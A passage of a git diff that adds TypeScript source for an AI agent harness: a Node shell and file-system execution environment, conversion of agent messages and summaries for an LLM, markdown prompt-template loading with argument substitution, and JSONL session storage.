cause); + case "EISDIR": + return new FileError("is_directory", message, path, cause); + case "EINVAL": + return new FileError("invalid", message, path, cause); + default: + break; + } + } + return new FileError("unknown", cause.message, path, cause); +} + +function abortResult( + signal: AbortSignal | undefined, + path?: string, +): Result | undefined { + return signal?.aborted ? err(new FileError("aborted", "aborted", path)) : undefined; +} + +async function pathExists(path: string): Promise { + try { + await access(path, constants.F_OK); + return true; + } catch { + return false; + } +} + +async function runCommand( + command: string, + args: string[], + timeoutMs: number, +): Promise<{ stdout: string; status: number | null }> { + return await new Promise((resolve) => { + let stdout = ""; + let child: ReturnType; + try { + child = spawn(command, args, { + stdio: ["ignore", "pipe", "ignore"], + windowsHide: true, + }); + } catch { + resolve({ stdout: "", status: null }); + return; + } + const timeout = setTimeout(() => { + if (child.pid) { + killProcessTree(child.pid, { force: true }); + } + }, timeoutMs); + child.stdout?.setEncoding("utf8"); + child.stdout?.on("data", (chunk: string) => { + stdout += chunk; + }); + child.on("error", () => { + clearTimeout(timeout); + resolve({ stdout: "", status: null }); + }); + child.on("close", (status) => { + clearTimeout(timeout); + resolve({ stdout, status }); + }); + }); +} + +async function findBashOnPath(): Promise { + const result = + process.platform === "win32" + ? await runCommand("where", ["bash.exe"], 5000) + : await runCommand("which", ["bash"], 5000); + if (result.status !== 0 || !result.stdout) { + return null; + } + const firstMatch = result.stdout.trim().split(/\r?\n/)[0]; + return firstMatch && (await pathExists(firstMatch)) ? firstMatch : null; +} + +async function getShellConfig( + customShellPath?: string, +): Promise> { + if (customShellPath) { + if (await pathExists(customShellPath)) { + return ok({ shell: customShellPath, args: ["-c"] }); + } + return err( + new ExecutionError("shell_unavailable", `Custom shell path not found: ${customShellPath}`), + ); + } + if (process.platform === "win32") { + const candidates: string[] = []; + const programFiles = process.env.ProgramFiles; + if (programFiles) { + candidates.push(`${programFiles}\\Git\\bin\\bash.exe`); + } + const programFilesX86 = process.env["ProgramFiles(x86)"]; + if (programFilesX86) { + candidates.push(`${programFilesX86}\\Git\\bin\\bash.exe`); + } + for (const candidate of candidates) { + if (await pathExists(candidate)) { + return ok({ shell: candidate, args: ["-c"] }); + } + } + const bashOnPath = await findBashOnPath(); + if (bashOnPath) { + return ok({ shell: bashOnPath, args: ["-c"] }); + } + return err(new ExecutionError("shell_unavailable", "No bash shell found")); + } + + if (await pathExists("/bin/bash")) { + return ok({ shell: "/bin/bash", args: ["-c"] }); + } + const bashOnPath = await findBashOnPath(); + if (bashOnPath) { + return ok({ shell: bashOnPath, args: ["-c"] }); + } + return ok({ shell: "sh", args: ["-c"] }); +} + +function getShellEnv( + baseEnv?: NodeJS.ProcessEnv, + extraEnv?: Record, +): NodeJS.ProcessEnv { + return { + ...process.env, + ...baseEnv, + ...extraEnv, + }; +} + +export class NodeExecutionEnv implements ExecutionEnv { + cwd: string; + private shellPath?: string; + private shellEnv?: NodeJS.ProcessEnv; + + constructor(options: { cwd: string; shellPath?: string; shellEnv?: NodeJS.ProcessEnv }) { + this.cwd = options.cwd; + this.shellPath = options.shellPath; + this.shellEnv = options.shellEnv; + } + + async absolutePath(path: string): Promise> { + return ok(resolvePath(this.cwd, path)); + } + + async joinPath(parts: string[]): Promise> { + return ok(join(...parts)); + } + + async exec( + command: string, + options?: { + cwd?: string; + env?: Record; + timeout?: number; + abortSignal?: AbortSignal; + onStdout?: (chunk: string) => void; + onStderr?: (chunk: string) => void; + }, + ): Promise> { + if (options?.abortSignal?.aborted) { + return err(new ExecutionError("aborted", "aborted")); + } + + const cwd = options?.cwd ? resolvePath(this.cwd, options.cwd) : this.cwd; + const shellConfig = await getShellConfig(this.shellPath); + if (!shellConfig.ok) { + return shellConfig; + } + + return await new Promise((resolvePromise) => { + let stdout = ""; + let stderr = ""; + let settled = false; + let timedOut = false; + let callbackError: ExecutionError | undefined; + let child: ReturnType | undefined; + let timeoutId: ReturnType | undefined; + + const onAbort = () => { + if (child?.pid) { + killProcessTree(child.pid, { force: true }); + } + }; + + const settle = ( + result: Result<{ stdout: string; stderr: string; exitCode: number }, ExecutionError>, + ) => { + if (timeoutId) { + clearTimeout(timeoutId); + } + if (options?.abortSignal) { + options.abortSignal.removeEventListener("abort", onAbort); + } + if (settled) { + return; + } + settled = true; + resolvePromise(result); + }; + + try { + child = spawn(shellConfig.value.shell, [...shellConfig.value.args, command], { + cwd, + detached: process.platform !== "win32", + env: getShellEnv(this.shellEnv, options?.env), + stdio: ["ignore", "pipe", "pipe"], + windowsHide: true, + }); + } catch (error) { + const cause = toError(error); + settle(err(new ExecutionError("spawn_error", cause.message, cause))); + return; + } + + timeoutId = + typeof options?.timeout === "number" + ? setTimeout(() => { + timedOut = true; + if (child?.pid) { + killProcessTree(child.pid, { force: true }); + } + }, options.timeout * 1000) + : undefined; + + if (options?.abortSignal) { + if (options.abortSignal.aborted) { + onAbort(); + } else { + options.abortSignal.addEventListener("abort", onAbort, { once: true }); + } + } + + child.stdout?.setEncoding("utf8"); + child.stderr?.setEncoding("utf8"); + child.stdout?.on("data", (chunk: string) => { + stdout += chunk; + try { + options?.onStdout?.(chunk); + } catch (error) { + const cause = toError(error); + callbackError = new ExecutionError("callback_error", cause.message, cause); + onAbort(); + } + }); + child.stderr?.on("data", (chunk: string) => { + stderr += chunk; + try { + options?.onStderr?.(chunk); + } catch (error) { + const cause = toError(error); + callbackError = new ExecutionError("callback_error", cause.message, cause); + onAbort(); + } + }); + + child.on("error", (error) => { + settle(err(new ExecutionError("spawn_error", error.message, error))); + }); + + child.on("close", (code) => { + if (callbackError) { + settle(err(callbackError)); + return; + } + if (timedOut) { + settle(err(new ExecutionError("timeout", `timeout:${options?.timeout}`))); + return; + } + if (options?.abortSignal?.aborted) { + settle(err(new ExecutionError("aborted", "aborted"))); + return; + } + settle(ok({ stdout, stderr, exitCode: code ?? 0 })); + }); + }); + } + + async readTextFile(path: string, abortSignal?: AbortSignal): Promise> { + const resolved = resolvePath(this.cwd, path); + const aborted = abortResult(abortSignal, resolved); + if (aborted) { + return aborted; + } + try { + return ok(await readFile(resolved, { encoding: "utf8", signal: abortSignal })); + } catch (error) { + return err(toFileError(error, resolved)); + } + } + + async readTextLines( + path: string, + options?: { maxLines?: number; abortSignal?: AbortSignal }, + ): Promise> { + const resolved = resolvePath(this.cwd, path); + const aborted = abortResult(options?.abortSignal, resolved); + if (aborted) { + return aborted; + } + if (options?.maxLines !== undefined && options.maxLines <= 0) { + return ok([]); + } + let stream: ReturnType | undefined; + let lineReader: ReturnType | undefined; + try { + stream = createReadStream(resolved, { encoding: "utf8", signal: options?.abortSignal }); + lineReader = createInterface({ input: stream, crlfDelay: Infinity }); + const lines: string[] = []; + for await (const line of lineReader) { + const loopAbort = abortResult(options?.abortSignal, resolved); + if (loopAbort) { + return loopAbort; + } + lines.push(line); + if (options?.maxLines !== undefined && lines.length >= options.maxLines) { + break; + } + } + const afterReadAbort = abortResult(options?.abortSignal, resolved); + if (afterReadAbort) { + return afterReadAbort; + } + return ok(lines); + } catch (error) { + return err(toFileError(error, resolved)); + } finally { + lineReader?.close(); + stream?.destroy(); + } + } + + async readBinaryFile( + path: string, + abortSignal?: AbortSignal, + ): Promise> { + const resolved = resolvePath(this.cwd, path); + const aborted = abortResult(abortSignal, resolved); + if (aborted) { + return aborted; + } + try { + return ok(await readFile(resolved, { signal: abortSignal })); + } catch (error) { + return err(toFileError(error, resolved)); + } + } + + async writeFile( + path: string, + content: string | Uint8Array, + abortSignal?: AbortSignal, + ): Promise> { + const resolved = resolvePath(this.cwd, path); + const aborted = abortResult(abortSignal, resolved); + if (aborted) { + return aborted; + } + try { + await mkdir(resolve(resolved, ".."), { recursive: true }); + const afterMkdirAbort = abortResult(abortSignal, resolved); + if (afterMkdirAbort) { + return afterMkdirAbort; + } + await writeFile(resolved, content, { signal: abortSignal }); + return ok(undefined); + } catch (error) { + return err(toFileError(error, resolved)); + } + } + + async appendFile(path: string, content: string | Uint8Array): Promise> { + const resolved = resolvePath(this.cwd, path); + try { + await mkdir(resolve(resolved, ".."), { recursive: true }); + await appendFile(resolved, content); + return ok(undefined); + } catch (error) { + return err(toFileError(error, resolved)); + } + } + + async fileInfo(path: string): Promise> { + const resolved = resolvePath(this.cwd, path); + try { + return fileInfoFromStats(resolved, await lstat(resolved)); + } catch (error) { + return err(toFileError(error, resolved)); + } + } + + async listDir(path: string, abortSignal?: AbortSignal): Promise> { + const resolved = resolvePath(this.cwd, path); + const aborted = abortResult(abortSignal, resolved); + if (aborted) { + return aborted; + } + try { + const entries = await readdir(resolved, { withFileTypes: true }); + const infos: FileInfo[] = []; + for (const entry of entries) { + const loopAbort = abortResult(abortSignal, resolved); + if (loopAbort) { + return loopAbort; + } + const entryPath = resolve(resolved, entry.name); + try { + const info = fileInfoFromStats(entryPath, await lstat(entryPath)); + if (info.ok) { + infos.push(info.value); + } + } catch (error) { + return err(toFileError(error, entryPath)); + } + } + return ok(infos); + } catch (error) { + return err(toFileError(error, resolved)); + } + } + + async canonicalPath(path: string): Promise> { + const resolved = resolvePath(this.cwd, path); + try { + return ok(await realpath(resolved)); + } catch (error) { + return err(toFileError(error, resolved)); + } + } + + async exists(path: string): Promise> { + const result = await this.fileInfo(path); + if (result.ok) { + return ok(true); + } + if (result.error.code === "not_found") { + return ok(false); + } + return err(result.error); + } + + async createDir( + path: string, + options?: { recursive?: boolean }, + ): Promise> { + const resolved = resolvePath(this.cwd, path); + try { + await mkdir(resolved, { recursive: options?.recursive ?? true }); + return ok(undefined); + } catch (error) { + return err(toFileError(error, resolved)); + } + } + + async remove( + path: string, + options?: { recursive?: boolean; force?: boolean }, + ): Promise> { + const resolved = resolvePath(this.cwd, path); + try { + await rm(resolved, { + recursive: options?.recursive ?? false, + force: options?.force ?? false, + }); + return ok(undefined); + } catch (error) { + return err(toFileError(error, resolved)); + } + } + + async createTempDir(prefix: string = "tmp-"): Promise> { + try { + return ok(await mkdtemp(join(tmpdir(), prefix))); + } catch (error) { + return err(toFileError(error)); + } + } + + async createTempFile(options?: { + prefix?: string; + suffix?: string; + }): Promise> { + const dir = await this.createTempDir("tmp-"); + if (!dir.ok) { + return dir; + } + const filePath = join( + dir.value, + `${options?.prefix ?? ""}${randomUUID()}${options?.suffix ?? ""}`, + ); + try { + await writeFile(filePath, ""); + return ok(filePath); + } catch (error) { + return err(toFileError(error, filePath)); + } + } + + async cleanup(): Promise { + // nothing to clean up for the local node implementation + } +} diff --git a/packages/agent-core/src/harness/messages.ts b/packages/agent-core/src/harness/messages.ts new file mode 100644 index 00000000000..123e89065df --- /dev/null +++ b/packages/agent-core/src/harness/messages.ts @@ -0,0 +1,179 @@ +import type { ImageContent, Message, TextContent } from "../llm.js"; +import type { AgentMessage } from "../types.js"; + +export const COMPACTION_SUMMARY_PREFIX = `The conversation history before this point was compacted into the following summary: + + +`; + +export const COMPACTION_SUMMARY_SUFFIX = ` +`; + +export const BRANCH_SUMMARY_PREFIX = `The following is a summary of a branch that this conversation came back from: + + +`; + +export const BRANCH_SUMMARY_SUFFIX = ``; + +export interface BashExecutionMessage { + role: "bashExecution"; + command: string; + output: string; + exitCode: number | undefined; + cancelled: boolean; + truncated: boolean; + fullOutputPath?: string; + timestamp: number; + excludeFromContext?: boolean; +} + +export interface CustomMessage { + role: "custom"; + customType: string; + content: string | (TextContent | ImageContent)[]; + display: boolean; + details?: T; + timestamp: number; +} + +export interface BranchSummaryMessage { + role: "branchSummary"; + summary: string; + fromId: string; + timestamp: number; +} + +export interface CompactionSummaryMessage { + role: "compactionSummary"; + summary: string; + tokensBefore: number; + timestamp: number; +} + +declare module "../types.js" { + interface CustomAgentMessages { + bashExecution: BashExecutionMessage; + custom: CustomMessage; + branchSummary: BranchSummaryMessage; + compactionSummary: CompactionSummaryMessage; + } +} + +export function bashExecutionToText(msg: BashExecutionMessage): string { + let text = `Ran \`${msg.command}\`\n`; + if (msg.output) { + text += `\`\`\`\n${msg.output}\n\`\`\``; + } else { + text += "(no output)"; + } + if (msg.cancelled) { + text += "\n\n(command cancelled)"; + } else if (msg.exitCode !== null && msg.exitCode !== undefined && msg.exitCode !== 0) { + text += `\n\nCommand exited with code ${msg.exitCode}`; + } + if (msg.truncated && msg.fullOutputPath) { + text += `\n\n[Output truncated. Full output: ${msg.fullOutputPath}]`; + } + return text; +} + +export function createBranchSummaryMessage( + summary: string, + fromId: string, + timestamp: string, +): BranchSummaryMessage { + return { + role: "branchSummary", + summary, + fromId, + timestamp: new Date(timestamp).getTime(), + }; +} + +export function createCompactionSummaryMessage( + summary: string, + tokensBefore: number, + timestamp: string, +): CompactionSummaryMessage { + return { + role: "compactionSummary", + summary, + tokensBefore, + timestamp: new Date(timestamp).getTime(), + }; +} + +export function createCustomMessage( + customType: string, + content: string | (TextContent | ImageContent)[], + display: boolean, + details: unknown, + timestamp: string, +): CustomMessage { + return { + role: "custom", + customType, + content, + display, + details, + timestamp: new Date(timestamp).getTime(), + }; +} + +export function convertToLlm(messages: AgentMessage[]): Message[] { + return messages + .map((m): Message | undefined => { + switch (m.role) { + case "bashExecution": + if (m.excludeFromContext) { + return undefined; + } + return { + role: "user", + content: [{ type: "text", text: bashExecutionToText(m) }], + timestamp: m.timestamp, + }; + case "custom": { + const content = + typeof m.content === "string" + ? [{ type: "text" as const, text: m.content }] + : m.content; + return { + role: "user", + content, + timestamp: m.timestamp, + }; + } + case "branchSummary": + return { + role: "user", + content: [ + { + type: "text" as const, + text: BRANCH_SUMMARY_PREFIX + m.summary + BRANCH_SUMMARY_SUFFIX, + }, + ], + timestamp: m.timestamp, + }; + case "compactionSummary": + return { + role: "user", + content: [ + { + type: "text" as const, + text: COMPACTION_SUMMARY_PREFIX + m.summary + COMPACTION_SUMMARY_SUFFIX, + }, + ], + timestamp: m.timestamp, + }; + case "user": + case "assistant": + case "toolResult": + return m; + default: + return undefined; + } + }) + .filter((m): m is Message => m !== undefined); +} diff --git a/packages/agent-core/src/harness/prompt-templates.ts b/packages/agent-core/src/harness/prompt-templates.ts new file mode 100644 index 00000000000..8b5776e298b --- /dev/null +++ b/packages/agent-core/src/harness/prompt-templates.ts @@ -0,0 +1,319 @@ +import { parse } from "yaml"; +import { + type ExecutionEnv, + type FileInfo, + type PromptTemplate, + type Result, + toError, +} from "./types.js"; + +export type PromptTemplateDiagnosticCode = + | "file_info_failed" + | "list_failed" + | "read_failed" + | "parse_failed"; + +/** Warning produced while loading prompt templates. */ +export interface PromptTemplateDiagnostic { + /** Diagnostic severity. Currently only warnings are emitted. */ + type: "warning"; + /** Stable diagnostic code. */ + code: PromptTemplateDiagnosticCode; + /** Human-readable diagnostic message. */ + message: string; + /** Path associated with the diagnostic. */ + path: string; +} + +interface PromptTemplateFrontmatter { + description?: string; + "argument-hint"?: string; + [key: string]: unknown; +} + +/** + * Load prompt templates from one or more paths. + * + * Directory inputs load direct `.md` children non-recursively. File inputs load explicit `.md` files. Missing paths and + * non-markdown files are skipped. Read and parse failures are returned as diagnostics. + */ +export async function loadPromptTemplates( + env: ExecutionEnv, + paths: string | string[], +): Promise<{ promptTemplates: PromptTemplate[]; diagnostics: PromptTemplateDiagnostic[] }> { + const promptTemplates: PromptTemplate[] = []; + const diagnostics: PromptTemplateDiagnostic[] = []; + for (const path of Array.isArray(paths) ? paths : [paths]) { + const infoResult = await env.fileInfo(path); + if (!infoResult.ok) { + if (infoResult.error.code !== "not_found") { + diagnostics.push({ + type: "warning", + code: "file_info_failed", + message: infoResult.error.message, + path, + }); + } + continue; + } + const info = infoResult.value; + const kind = await resolveKind(env, info, diagnostics); + if (kind === "directory") { + const result = await loadTemplatesFromDir(env, info.path); + promptTemplates.push(...result.promptTemplates); + diagnostics.push(...result.diagnostics); + } else if (kind === "file" && info.name.endsWith(".md")) { + const result = await loadTemplateFromFile(env, info.path); + if (result.promptTemplate) { + promptTemplates.push(result.promptTemplate); + } + diagnostics.push(...result.diagnostics); + } + } + return { promptTemplates, diagnostics }; +} + +/** + * Load prompt templates from source-tagged paths. + * + * Source values are preserved exactly and attached to every loaded prompt template and diagnostic. The agent package does + * not interpret source values; applications define their own provenance shape. + */ +export async function loadSourcedPromptTemplates< + TSource, + TPromptTemplate extends PromptTemplate = PromptTemplate, +>( + env: ExecutionEnv, + inputs: Array<{ path: string; source: TSource }>, + mapPromptTemplate?: (promptTemplate: PromptTemplate, source: TSource) => TPromptTemplate, +): Promise<{ + promptTemplates: Array<{ promptTemplate: TPromptTemplate; source: TSource }>; + diagnostics: Array; +}> { + const promptTemplates: Array<{ promptTemplate: TPromptTemplate; source: TSource }> = []; + const diagnostics: Array = []; + for (const input of inputs) { + const result = await loadPromptTemplates(env, input.path); + for (const promptTemplate of result.promptTemplates) { + promptTemplates.push({ + promptTemplate: mapPromptTemplate + ? mapPromptTemplate(promptTemplate, input.source) + : (promptTemplate as TPromptTemplate), + source: input.source, + }); + } + for (const diagnostic of result.diagnostics) { + diagnostics.push({ ...diagnostic, source: input.source }); + } + } + return { promptTemplates, diagnostics }; +} + +async function loadTemplatesFromDir( + env: ExecutionEnv, + dir: string, +): Promise<{ promptTemplates: PromptTemplate[]; diagnostics: PromptTemplateDiagnostic[] }> { + const promptTemplates: PromptTemplate[] = []; + const diagnostics: PromptTemplateDiagnostic[] = []; + const entriesResult = await env.listDir(dir); + if (!entriesResult.ok) { + diagnostics.push({ + type: "warning", + code: "list_failed", + message: entriesResult.error.message, + path: dir, + }); + return { promptTemplates, diagnostics }; + } + const entries = entriesResult.value; + + for (const entry of entries.toSorted((a, b) => a.name.localeCompare(b.name))) { + const kind = await resolveKind(env, entry, diagnostics); + if (kind !== "file" || !entry.name.endsWith(".md")) { + continue; + } + const result = await loadTemplateFromFile(env, entry.path); + if (result.promptTemplate) { + promptTemplates.push(result.promptTemplate); + } + diagnostics.push(...result.diagnostics); + } + return { promptTemplates, diagnostics }; +} + +async function loadTemplateFromFile( + env: ExecutionEnv, + filePath: string, +): Promise<{ promptTemplate: PromptTemplate | null; diagnostics: PromptTemplateDiagnostic[] }> { + const diagnostics: PromptTemplateDiagnostic[] = []; + const rawContent = await env.readTextFile(filePath); + if (!rawContent.ok) { + diagnostics.push({ + type: "warning", + code: "read_failed", + message: rawContent.error.message, + path: filePath, + }); + return { promptTemplate: null, diagnostics }; + } + + const parsed = parseFrontmatter(rawContent.value) as Result< + { frontmatter: PromptTemplateFrontmatter; body: string }, + Error + >; + if (!parsed.ok) { + diagnostics.push({ + type: "warning", + code: "parse_failed", + message: parsed.error.message, + path: filePath, + }); + return { promptTemplate: null, diagnostics }; + } + + const { frontmatter, body } = parsed.value; + const firstLine = body.split("\n").find((line) => line.trim()); + let description = typeof frontmatter.description === "string" ? frontmatter.description : ""; + if (!description && firstLine) { + description = firstLine.slice(0, 60); + if (firstLine.length > 60) { + description += "..."; + } + } + return { + promptTemplate: { + name: basenameEnvPath(filePath).replace(/\.md$/i, ""), + description, + content: body, + }, + diagnostics, + }; +} + +async function resolveKind( + env: ExecutionEnv, + info: FileInfo, + diagnostics: PromptTemplateDiagnostic[], +): Promise<"file" | "directory" | undefined> { + if (info.kind === "file" || info.kind === "directory") { + return info.kind; + } + const canonicalPath = await env.canonicalPath(info.path); + if (!canonicalPath.ok) { + if (canonicalPath.error.code !== "not_found") { + diagnostics.push({ + type: "warning", + code: "file_info_failed", + message: canonicalPath.error.message, + path: info.path, + }); + } + return undefined; + } + const target = await env.fileInfo(canonicalPath.value); + if (!target.ok) { + if (target.error.code !== "not_found") { + diagnostics.push({ + type: "warning", + code: "file_info_failed", + message: target.error.message, + path: info.path, + }); + } + return undefined; + } + return target.value.kind === "file" || target.value.kind === "directory" + ? target.value.kind + : undefined; +} + +function parseFrontmatter( + content: string, +): Result<{ frontmatter: Record; body: string }, Error> { + try { + const normalized = content.replace(/\r\n/g, "\n").replace(/\r/g, "\n"); + if (!normalized.startsWith("---")) { + return { ok: true, value: { frontmatter: {}, body: normalized } }; + } + const endIndex = normalized.indexOf("\n---", 3); + if (endIndex === -1) { + return { ok: true, value: { frontmatter: {}, body: normalized } }; + } + const yamlString = normalized.slice(4, endIndex); + const body = normalized.slice(endIndex + 4).trim(); + return { + ok: true, + value: { frontmatter: (parse(yamlString) ?? {}) as Record, body }, + }; + } catch (error) { + return { ok: false, error: toError(error) }; + } +} + +function basenameEnvPath(path: string): string { + const normalized = path.replace(/\/+$/, ""); + const slashIndex = normalized.lastIndexOf("/"); + return slashIndex === -1 ? normalized : normalized.slice(slashIndex + 1); +} + +/** Parse an argument string using simple shell-style single and double quotes. */ +export function parseCommandArgs(argsString: string): string[] { + const args: string[] = []; + let current = ""; + let inQuote: string | null = null; + + for (let i = 0; i < argsString.length; i++) { + const char = argsString[i]; + if (inQuote) { + if (char === inQuote) { + inQuote = null; + } else { + current += char; + } + } else if (char === '"' || char === "'") { + inQuote = char; + } else if (char === " " || char === "\t") { + if (current) { + args.push(current); + current = ""; + } + } else { + current += char; + } + } + if (current) { + args.push(current); + } + return args; +} + +/** Substitute prompt template placeholders (`$1`, `$@`, `$ARGUMENTS`, `${@:N}`, `${@:N:L}`) with command arguments. */ +export function substituteArgs(content: string, args: string[]): string { + let result = content; + result = result.replace(/\$(\d+)/g, (_, num: string) => args[Number.parseInt(num, 10) - 1] ?? ""); + result = result.replace( + /\$\{@:(\d+)(?::(\d+))?\}/g, + (_, startStr: string, lengthStr?: string) => { + let start = Number.parseInt(startStr, 10) - 1; + if (start < 0) { + start = 0; + } + if (lengthStr) { + return args.slice(start, start + Number.parseInt(lengthStr, 10)).join(" "); + } + return args.slice(start).join(" "); + }, + ); + const allArgs = args.join(" "); + result = result.replace(/\$ARGUMENTS/g, allArgs); + result = result.replace(/\$@/g, allArgs); + return result; +} + +/** Format a prompt template invocation with positional arguments. */ +export function formatPromptTemplateInvocation( + template: PromptTemplate, + args: string[] = [], +): string { + return substituteArgs(template.content, args); +} diff --git a/packages/agent-core/src/harness/session/jsonl-repo.ts b/packages/agent-core/src/harness/session/jsonl-repo.ts new file mode 100644 index 00000000000..98e210cc4a5 --- /dev/null +++ b/packages/agent-core/src/harness/session/jsonl-repo.ts @@ -0,0 +1,197 @@ +import type { + FileSystem, + JsonlSessionCreateOptions, + JsonlSessionListOptions, + JsonlSessionMetadata, + JsonlSessionRepoApi, + Session, +} from "../types.js"; +import { SessionError, toError } from "../types.js"; +import { JsonlSessionStorage, loadJsonlSessionMetadata } from "./jsonl-storage.js"; +import { + createSessionId, + createTimestamp, + getEntriesToFork, + getFileSystemResultOrThrow, + toSession, +} from "./repo-utils.js"; + +type JsonlSessionRepoFileSystem = Pick< + FileSystem, + | "cwd" + | "absolutePath" + | "joinPath" + | "readTextFile" + | "readTextLines" + | "writeFile" + | "appendFile" + | "listDir" + | "exists" + | "createDir" + | "remove" +>; + +function encodeCwd(cwd: string): string { + return `--${cwd.replace(/^[/\\]/, "").replace(/[/\\:]/g, "-")}--`; +} + +export class JsonlSessionRepo implements JsonlSessionRepoApi { + private readonly fs: JsonlSessionRepoFileSystem; + private readonly sessionsRootInput: string; + private sessionsRoot: string | undefined; + + constructor(options: { fs: JsonlSessionRepoFileSystem; sessionsRoot: string }) { + this.fs = options.fs; + this.sessionsRootInput = options.sessionsRoot; + } + + private async getSessionsRoot(): Promise { + if (!this.sessionsRoot) { + this.sessionsRoot = getFileSystemResultOrThrow( + await this.fs.absolutePath(this.sessionsRootInput), + `Failed to resolve sessions root ${this.sessionsRootInput}`, + ); + } + return this.sessionsRoot; + } + + private async getSessionDir(cwd: string): Promise { + return getFileSystemResultOrThrow( + await this.fs.joinPath([await this.getSessionsRoot(), encodeCwd(cwd)]), + `Failed to resolve session directory for ${cwd}`, + ); + } + + private async createSessionFilePath( + cwd: string, + sessionId: string, + timestamp: string, + ): Promise { + return getFileSystemResultOrThrow( + await this.fs.joinPath([ + await this.getSessionDir(cwd), + `${timestamp.replace(/[:.]/g, "-")}_${sessionId}.jsonl`, + ]), + `Failed to resolve session file path for ${sessionId}`, + ); + } + + async create(options: JsonlSessionCreateOptions): Promise> { + const id = options.id ?? createSessionId(); + const createdAt = createTimestamp(); + const sessionDir = await this.getSessionDir(options.cwd); + getFileSystemResultOrThrow( + await this.fs.createDir(sessionDir, { recursive: true }), + `Failed to create session directory ${sessionDir}`, + ); + const filePath = await this.createSessionFilePath(options.cwd, id, createdAt); + const storage = await JsonlSessionStorage.create(this.fs, filePath, { + cwd: options.cwd, + sessionId: id, + parentSessionPath: options.parentSessionPath, + }); + return toSession(storage); + } + + async open(metadata: JsonlSessionMetadata): Promise> { + if ( + !getFileSystemResultOrThrow( + await this.fs.exists(metadata.path), + `Failed to check session ${metadata.path}`, + ) + ) { + throw new SessionError("not_found", `Session not found: ${metadata.path}`); + } + const storage = await JsonlSessionStorage.open(this.fs, metadata.path); + return toSession(storage); + } + + async list(options: JsonlSessionListOptions = {}): Promise { + const dirs = options.cwd + ? [await this.getSessionDir(options.cwd)] + : await this.listSessionDirs(); + const sessions: JsonlSessionMetadata[] = []; + for (const dir of dirs) { + if ( + !getFileSystemResultOrThrow( + await this.fs.exists(dir), + `Failed to check session directory ${dir}`, + ) + ) { + continue; + } + const files = getFileSystemResultOrThrow( + await this.fs.listDir(dir), + `Failed to list sessions in ${dir}`, + ).filter((file) => file.kind !== "directory" && file.name.endsWith(".jsonl")); + for (const file of files) { + try { + sessions.push(await loadJsonlSessionMetadata(this.fs, file.path)); + } catch (error) { + const cause = toError(error); + if (!(cause instanceof SessionError) || cause.code !== "invalid_session") { + throw cause; + } + } + } + } + sessions.sort((a, b) => new Date(b.createdAt).getTime() - new Date(a.createdAt).getTime()); + return sessions; + } + + async delete(metadata: JsonlSessionMetadata): Promise { + getFileSystemResultOrThrow( + await this.fs.remove(metadata.path, { force: true }), + `Failed to delete session ${metadata.path}`, + ); + } + + async fork( + sourceMetadata: JsonlSessionMetadata, + options: JsonlSessionCreateOptions & { + entryId?: string; + position?: "before" | "at"; + id?: string; + }, + ): Promise> { + const source = await this.open(sourceMetadata); + const forkedEntries = await getEntriesToFork(source.getStorage(), options); + const id = options.id ?? createSessionId(); + const createdAt = createTimestamp(); + const sessionDir = await this.getSessionDir(options.cwd); + getFileSystemResultOrThrow( + await this.fs.createDir(sessionDir, { recursive: true }), + `Failed to create session directory ${sessionDir}`, + ); + const storage = await JsonlSessionStorage.create( + this.fs, + await this.createSessionFilePath(options.cwd, id, createdAt), + { + cwd: options.cwd, + sessionId: id, + parentSessionPath: options.parentSessionPath ?? sourceMetadata.path, + }, + ); + for (const entry of forkedEntries) { + await storage.appendEntry(entry); + } + return toSession(storage); + } + + private async listSessionDirs(): Promise { + const sessionsRoot = await this.getSessionsRoot(); + if ( + !getFileSystemResultOrThrow( + await this.fs.exists(sessionsRoot), + `Failed to check sessions root ${sessionsRoot}`, + ) + ) { + return []; + } + const entries = getFileSystemResultOrThrow( + await this.fs.listDir(sessionsRoot), + `Failed to list sessions root ${sessionsRoot}`, + ); + return entries.filter((entry) => entry.kind === "directory").map((entry) => entry.path); + } +} diff --git a/packages/agent-core/src/harness/session/jsonl-storage.ts b/packages/agent-core/src/harness/session/jsonl-storage.ts new file mode 100644 index 00000000000..805a84c83a1 --- /dev/null +++ b/packages/agent-core/src/harness/session/jsonl-storage.ts @@ -0,0 +1,349 @@ +import type { + FileSystem, + JsonlSessionMetadata, + LeafEntry, + SessionStorage, + SessionTreeEntry, +} from "../types.js"; +import { SessionError, toError } from "../types.js"; +import { getFileSystemResultOrThrow } from "./repo-utils.js"; +import { uuidv7 } from "./uuid.js"; + +type JsonlSessionStorageFileSystem = Pick< + FileSystem, + "readTextFile" | "readTextLines" | "writeFile" | "appendFile" +>; + +interface SessionHeader { + type: "session"; + version: 3; + id: string; + timestamp: string; + cwd: string; + parentSession?: string; +} + +function updateLabelCache(labelsById: Map, entry: SessionTreeEntry): void { + if (entry.type !== "label") { + return; + } + const label = entry.label?.trim(); + if (label) { + labelsById.set(entry.targetId, label); + } else { + labelsById.delete(entry.targetId); + } +} + +function buildLabelsById(entries: SessionTreeEntry[]): Map { + const labelsById = new Map(); + for (const entry of entries) { + updateLabelCache(labelsById, entry); + } + return labelsById; +} + +function generateEntryId(byId: { has(id: string): boolean }): string { + for (let i = 0; i < 100; i++) { + const id = uuidv7().slice(0, 8); + if (!byId.has(id)) { + return id; + } + } + return uuidv7(); +} + +function isRecord(value: unknown): value is Record { + return typeof value === "object" && value !== null; +} + +function invalidSession(filePath: string, message: string, cause?: Error): SessionError { + return new SessionError( + "invalid_session", + `Invalid JSONL session file ${filePath}: ${message}`, + cause, + ); +} + +function invalidEntry( + filePath: string, + lineNumber: number, + message: string, + cause?: Error, +): SessionError { + return new SessionError( + "invalid_entry", + `Invalid JSONL session file ${filePath}: line ${lineNumber} ${message}`, + cause, + ); +} + +function parseHeaderLine(line: string, filePath: string): SessionHeader { + let parsed: unknown; + try { + parsed = JSON.parse(line); + } catch (error) { + throw invalidSession(filePath, "first line is not a valid session header", toError(error)); + } + if (!isRecord(parsed)) { + throw invalidSession(filePath, "first line is not a valid session header"); + } + if (parsed.type !== "session") { + throw invalidSession(filePath, "first line is not a valid session header"); + } + if (parsed.version !== 3) { + throw invalidSession(filePath, "unsupported session version"); + } + if (typeof parsed.id !== "string" || !parsed.id) { + throw invalidSession(filePath, "session header is missing id"); + } + if (typeof parsed.timestamp !== "string" || !parsed.timestamp) { + throw invalidSession(filePath, "session header is missing timestamp"); + } + if (typeof parsed.cwd !== "string" || !parsed.cwd) { + throw invalidSession(filePath, "session header is missing cwd"); + } + if (parsed.parentSession !== undefined && typeof parsed.parentSession !== "string") { + throw invalidSession(filePath, "session header parentSession must be a string"); + } + return { + type: "session", + version: 3, + id: parsed.id, + timestamp: parsed.timestamp, + cwd: 